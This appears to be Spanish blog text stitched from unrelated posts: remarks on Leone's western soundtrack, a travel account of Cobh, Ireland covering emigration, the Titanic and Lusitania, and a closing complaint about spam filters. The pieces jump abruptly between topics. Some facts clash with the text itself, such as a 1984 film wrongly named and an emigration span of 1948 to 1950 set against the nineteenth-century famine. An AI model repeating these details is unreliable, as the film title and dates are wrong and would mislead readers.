La música que acompaña los ocho minutos de la intensa “danza de la muerte” que precede al duelo final y mientras nos desvelan, por fin, la conexión entre Frank y Harmonica, resulta de la unión del leitmotiv de ambos personajes.

Hablando de la magistral banda sonora de esta película no podemos dejar de mencionar el melancólico tema de Jill, capaz de transmitir la esperanza e ilusión por empezar una nueva vida. Casi veinte años más tarde, Morricone y Leone volverían a utilizar un tema muy similar como leitmotiv de Deborah, la hermana de Fat Moe en Once upon a time in the West (1984). El más alegre y sobrio tema de Cheyenne contrasta con todos los demás de la película.

Uno de los comentarios más votados en ese último video dice, traducido al español, algo así como:

Leone cogió a un “buen tipo” como Fonda y lo grabó matando a un niño… Esto es poder… El poder de destrozar todo los cliches de Hollywood.
Independientemente de tu opinión sobre Leone o los westerns de Hollywood, el hecho es que después de Leone se cambiaron las reglas del western americano. Él tuvo el poder de hacerlo. ¿Puedes imaginar qué tipo de victoria es esto para alguien que empezó grabando películas en el sur de Italia y España? La gente siempre recordará a Fonda como Frank, a Cleef como Sentencia, a Wallach como Tuco, etc. Eso es Leone.

Pese a su pequeño tamaño, su privilegiada situación le ha servido para convertirse en uno de los puertos más famosos de Irlanda. Para empezar, los dos islotes que se alzan justo frente al pueblo han sido de interés militar durante años: Haulbowline, base de la marina irlandesa en la actualidad, fue fortificada ya en 1602; Spike Island, que conserva el Fort Westmoreland erigido en 1790, fue usada como prisión de 1847 a 1883, haciendo escala allí gran parte de los presos británicos que terminarían en Australia.

Si algo caracteriza a Irlanda, es la enorme emigración que tuvo durante el siglo XIX, lo cual explica que haya un 12% de estadounidenses con ascendencia irlandesa, lo que les convierte en el segundo mayor “grupo étnico” de los USA, sólo superados por los americanos con ascendencia alemana (17%).

Cobh fue el principal puerto desde el que embarcaban los irlandeses rumbo a los Estados Unidos, pasando por sus muelles unos dos millones y medio de los seis millones que emigraron entre 1948 y 1950, hecho que han aprovechado para montar un museo sobre emigración. La más famosa fue Annie Moore al convertirse en la primera persona en pasar por la recien estrenada oficina de inmigración en Ellis Island en el puerto de Nueva York en 1892 a sus quince años. Como homenaje tiene una estatua, junto a sus hermanos (sus padres habían viajado cuatro años antes), tanto en Cobh como en la isla.

La mayor parte de los emigrantes dejaron el país durante la Gran Hambruna que azotó el país entre 1846 y 1852 debido al mildiu de la patata y a la falta de dinero para comprar más comida.

Muchos se preguntan cómo una isla rodeada de agua puede tener problemas con la comida pudiendo pescar todos los peces que necesiten, pero los escarpados acantilados en gran parte de la costa y fuertes corrientes del Atlántico hacían de Irlanda una isla con una muy pobre industria pesquera; aparte de que los terratenientes británicos no estaban interesados en ese negocio, con lo que prohibían la pesca en sus tierras.

El puerto de Cobh también es conocido por ser el 12 de abril de 1912 la última parada del Titanic en el viejo continente antes de poner rumbo a New York con el trágico final que todos conocemos. Pese a que la parada del barco sea meramente anecdótica han sabido exprimir el tema, teniendo incluso la “Ruta turística del Titanic“. En Irlanda están bastante orgullosos de este transoceánico (fue fabricado en los astilleros de Belfast) y tienen un dicho “El Titanic fue perfectamente construido por irlandeses, pero hundido por un inglés“.

Al ser un pueblo tan pequeño y pintoresco, el turismo es una buena baza, y ya que estamos con catástrofes marítimas… ¿Por qué no incluir también al Lusitania? El Lusitania era un transoceánico de lujo —como el Titanic— pero fletado antes, en 1907. A principios de 1915, durante la Primera Guerra Mundial, Alemania impuso un bloqueo comercial a Gran Bretaña, es decir, llenó las aguas cercanas de submarinos y advirtió de que dispararían sin previo aviso a cualquier navío que circulara cerca de la costa británica.

Pese a ello, el Lusitania continuó sus labores civiles transportando pasajeros de un continente a otro, hasta que el submarino alemán U-20 lo torpedeó el mediodía del 7 de mayo de 1915 cuando estaba tan sólo a 18 kilómetros de Kinsale, pereciendo 1198 de los 1959 pasajeros, y siendo los supervivientes recogidos en Cobh.

Este ataque —que serviría de excusa al gobierno estadounidense dos años más tarde para declarar la guerra a las Potencias Centrales y entrar de lleno en el conflicto— no está exento de polémica, pues pese a que la reacción internacional al inicio fue de completa condena a la actuación alemana, EE.UU. colaboraba abiertamente con Gran Bretaña y el barco transportaba de “contrabando” ingentes cantidades de material bélico y alimentos para el ejército británico.

Al haber varios detalles que no cuadran respecto a los mensajes radiofónicos enviados al barco por la marina británica y la decisión de retirar el buque que iba a escoltar al Lusitania al final del trayecto, hay varias teorías conspiranoicas afirmando que Wiston Churchill (Primer Lord del Almirantazgo) facilitó el hundimiento con sus órdenes, para dar una excusa a los Estados Unidos a entrar en la guerra.

Como siempre, la Wikipedia nos sorprende con su cantidad de listas sobre cualquier tema, así que podemos comparar el hundimiento del Lusitania con otros naufragios por número de víctimas, diversos accidentes marítimos catalogados en “Tiempos de paz” y en diferentes conflictos históricos, barcos hundidos por submarinos según número de víctimas o la lista de accidentes y desastres por número de víctimas en cualquiera de sus categorías o, especialmente, la marítima.

Aparte de los museos y estatuas mencionados aquí, el mayor atractivo de Cobh es perderse entre sus sinuosas calles rodeadadas por coloridos edificios. Se puede dar un paseo tan largo como se quiera, cuestas arriba y cuestas abajo, hasta llegar a la Catedral de San Colman, que al estar el punto más alto de la ciudad puede ser vista casi desde cualquier parte.

Colman de Cloyne fue un monje de finales del siglo VI fundador del monasterio de Cloyne, un pueblo cercano que da nombre a la diócesis de la que ésta es la principal catedral. Educado como bardo, se le conocía como el Poeta Real de Munster, y algunos de sus versos que todavía se conservan están entre los primeros ejemplos del irlandés escrito con alfabeto latino.

St. Colman Cathedral se empezó a construir en 1865 y se terminó en 1915 y es uno de los ejemplos más notables del neogótico irlandés. Su torre alberga un carillón de 47 campanas (cinco de ellas añadidas en 1958) que lo convierten en el mayor de Irlanda. Tiene una escala de cuatro octavas, lo que permite la ejecución de variadas composiciones, siendo frecuentes los recitales de música religiosa y secular, especialmente en verano.

Me llamó especialmente la atención el depósito de agua bendita que se puede ver en la anterior foto. Estaba en uno de los laterales de la catedral, por fuera.

Lo mejor del pueblo, sin lugar a dudas, fue el pedazo fish&chips que nos comimos sentados en un banco al aire libre. Después de buscar un rato dónde comer, finalmente nos decantamos por el bar Mimmo’s, cuya posición en Google Map acabo de enlazar (justo enfrente del monumento a los fallecidos en el Lusitania). Por seis euros y medio pudimos disfrutar de una buena ración de fish&chips, con dos trozos de pescado para cada uno. Quizás no fuese el mejor del mundo, pero estaba muy bueno y en cualquier lado ponen mucho menos por más dinero. Incluso sumando los billetes del tren, hay muchos lugares en los que no comes tanto por doce euros.

Dejo algunas fotos de otros lugares que han atraído mi atención, como la parte posterior de la primera fotografía que abre el post (por cuyo lado frontal es la imagen más típica de Cobh), la señal para limpiar los excrementos de los perros y un par de tiendas con todo el escaparate de madera; la tienda del fondo tiene más gracia porque era de productos electrónicos, con lo que ese aspecto tan antiguo la convierte casi en un oxímoron.

Páginas con información turística:
East Cork Tourism
Cork Guide
Spike Island (ya enlazada en la entrada, pero con mucha información sobre esa isla).

Además, durante los últimos meses se están colando en bandeja de entrada varios emails de spam procedentes de un par de amigos con cuentas “infectadas”. Está tan claro que son spam que no necesito ni abrirlos para darme cuenta de ello. Supongo que superan el filtro al estar en mi libreta de direcciones, por lo que acabo de eliminarlos de la misma, a ver si así dejan de llegar.

¿Soy solo yo, o alguien más ha notado una merma en la eficiencia del filtro de spam?

*_{No sé si las últimas semanas habrán desmontado alguna botnet de spam de esas que suponen un importante porcentaje del flujo mundial, pero me resulta muy extraño ver la cuarta parte de lo habitual}.